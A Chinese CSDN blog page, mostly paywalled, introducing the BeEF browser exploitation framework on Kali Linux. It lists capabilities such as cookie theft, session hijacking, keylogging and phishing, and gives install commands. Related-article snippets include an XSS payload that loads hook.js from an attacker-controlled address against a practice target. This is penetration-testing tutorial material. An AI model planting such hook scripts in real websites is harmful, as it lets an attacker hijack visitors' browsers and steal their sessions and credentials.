kali工具之Beef

最新推荐文章于 2024-08-20 18:00:00 发布
最新推荐文章于 2024-08-20 18:00:00 发布
阅读量557 收藏 3
点赞数 1
文章标签： web安全 安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wulanlin/article/details/122170367
版权
本文介绍了如何在Kali Linux环境下安装和使用BeEF（Browser Exploitation Framework），这是一个强大的浏览器渗透测试工具。通过BeEF，可以进行信息收集如Cookie获取、会话劫持等，以及持久化控制和社会工程攻击。文章详细展示了启动BeEF的步骤，包括配置和登录，并解释了不同颜色模块的含义。此外，还通过DVWA实验展示了如何利用BeEF进行在线浏览器的渗透测试和命令执行。
摘要由CSDN通过智能技术生成

*本工具仅供技术分享、交流讨论，严禁用于非法用途。

简介

Browser Exploitation Framework(BeEF) BeEF是日前最强大的浏览器开源渗透测试框架,通过X55漏洞配合JS脚本和 Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单

主要功能

信息收集:

1.网络发现
2.主机信息
3.Cookie获取
4.会话劫持
5.键盘记录
6.插件信息

持久化控制:

1.确认弹框
2.小窗口
3.中间人

社会工程:

1.点击劫持
2.弹窗告警
3.虚假页面
4.钓鱼页面

渗透攻击:

1.内网渗透
2.Metasploit
3.CSRF攻击
4.DDOS攻击

我这里用kali 启动Apache：service apache2 start

然后安装Beef工具

我用脚本安装

命令：
apt-get update
apt-get install beef-xss
apt-get install beef-xss
beef-xss

启动之后

最低0.47元/天 解锁文章
wulanlin
关注
Kali使用beef
路~可以走过
06-04 5925
1.使用beef 2. 出现了要修改密码的路径，才能使用 2-1.修改beef用户的默认密码，修改密码为qwe123456 root@kali:~# vi /etc/beef-xss/config.yaml 3.退出终端，再次点击beef ,启动终端 4.登录web的beef 4-1.输入beef用户和修改的密码即可登录 5.查看xss的脚本 ...
网安工具系列：kali之beef的基础使用
weixin_54626591的博客
04-07 994
kali之beef的基础使用
kali beef的使用
pigzlfa的博客
07-05 431
beef的安装 可以直接安装也可以从源码安装，略 beef安装好后，打开web登陆页面 http://192.168.102.130:3000/ui/panel url为kali机地址，可以从配置文件中修改 3.把js加载进存在xss的地方（例pikachu） payload： <script src='http://192.168.102.130:3000/hook.js'></script> 可以看到在不停的向102.130发起请求 使用beef中终端发送弹窗 .
Kali下安装与使用BeEF：反射型与存储型XSS攻击、Cookie会话劫持、键盘监听及浏览器操控技巧
xt350488的博客
07-27 1021
更常见的称呼是BeEF（The Browser Exploitation Framework），是一个开源的浏览器漏洞利用框架。它由Michał Zalewski于2006年创建，旨在帮助渗透测试人员评估Web浏览器的安全性，发现并利用其中的漏洞。
kali之beef的使用
whoim_i的博客
11-03 2万+
目录一、beef介绍二、kali下使用beef配置beef实际操作 一、beef介绍 BeeF是前欧美最流行的web框架攻击平台，kali 集成Beef，而且Beef有很多好使的payload。例如，通过XSS这个简单的漏洞，BeeF可以通过一段编制好的javascript控制目标主机的浏览器，通过浏览器拿到各种信息并且扫描内网信息，同时能够配合metasploit进一步渗透主机，强大的有些吓人。...
kali-beef工具（xss-stored）
Vincent0sen的博客
09-06 510
kali工具之beef-xss
Kali中Beef的使用教程
weixin_43287317的博客
04-02 5340
Kali中Beef的使用教程
kali安装beef
面向感觉挖洞，背向对象编程。欢迎关注VX公众号：EureKa安全团队
11-29 7304
kali安装beef 本站所有文章均为原创，欢迎转载，请注明文章出处：https://blog.csdn.net/weixin_43847838/article/details/110312851。百度和各类采集站皆不可信，搜索请谨慎鉴别。技术类文章一般都有时效性，本人习惯不定期对自己的博文进行修正和更新，因此请访问出处以查看本文的最新版本。
kaliXSSbeef的使用
weixin_30729609的博客
06-07 330
Kali中Beef的安装和使用： 先打开终端输入 apt-get install beef-xss 然后切换到beef的安装目录 cd /usr/share/beef-xss 然后启动beef ./beef 这里要改一下密码才能用 2019.2beef密码太简单不行 我改成了 admin password 转载于:https://...
kali中beef的安装
hjhwdwdw的博客
12-23 737
接着输入beef-xss打开beef，会让你输入新的密码，账号密码初始默认都为beef（输入密码的时候不可见）安装beef输入以下命令。修改密码后会自动登录。
xss利用之kali神器beef
热门推荐
jiangliuzheng的专栏
07-14 3万+
1、beef基本配置 BeEF在Kali下默认安装，直接找到对应图标启动即可，但是默认设置未同Metasploit关联，无法使用msf模块，因此需要作如下配置连接msf 1、修改config.yaml 编辑 /usr/share/beef-xss/config.yaml metasploit: enable: false改为true 编辑 /usr/
Kali Linux渗透测试 100 利用工具-Beef
kevinhanser
03-26 3187
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程，教程为安全牛课堂里的《Kali Linux 渗透测试》课程 Kali Linux渗透测试（苑房弘）博客记录 1. 简介 浏览器攻击面应用普遍转移到 B/S 架构，浏览器成为统一客户端程序 结合社火工程学方法对浏览器进行攻击 攻击浏览器该用户 通过注入的 JS 脚本，利用浏览器攻击其他网站 Beef生成、交付 pay
beef-xss详细教程(一文带你学会beef) - Kali下安装beef - beef-xss反射型，储存型利用 - beef实现Cookie会话劫持 - 键盘监听 - 浏览器弹窗，重定向等
最新发布
wangluoanquan111的博客
08-20 734
✅作者简介：CSDN内容合伙人、信息安全专业在校大学生🏆🔥系列专栏 ：XSS漏洞应用-Beef💬舞台再大，你不上台，永远是个观众。平台再好，你不参与，永远是局外人。能力再大，你不行动，只能看别人成功！没有人会关心你付出过多少努力，撑得累不累，摔得痛不痛，他们只会看你最后站在什么位置，然后羡慕或鄙夷。
kali 中安装 beef-xss
挖到0day了吗？
02-27 810
XSS攻击（Cross-Site Scripting）是指攻击者在网页中注入恶意脚本代码，使受害者在浏览器中运行该脚本，从而达到攻击目的。beef是一种利用浏览器漏洞的攻击工具，可以在浏览器端运行恶意脚本。本文将介绍安装beef。新版的kail已经不自带beef工具了，需要自己下载。
Kali Linux-BeEF浏览器渗透框架
道阻且长，行则将至。
12-26 4762
前言 严正声明：本文仅限于技术讨论与分享，严禁用于非法途径。 本文目的 演示如何借助 Kali Linux 系统内置的 BeEF 渗透框架，通过一段编制好的JS代码控制目标主机 Win 7 虚拟机的浏览器，进而进行社会工程学攻击(发送钓鱼网页盗窃账户密码、恶意程序发送等)和其他攻击，同时演示借助 Win 7上搭建的DVWA靶场的存储型XSS漏洞自动触发JS攻击脚本(获取Cookie)。 环境说明 ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值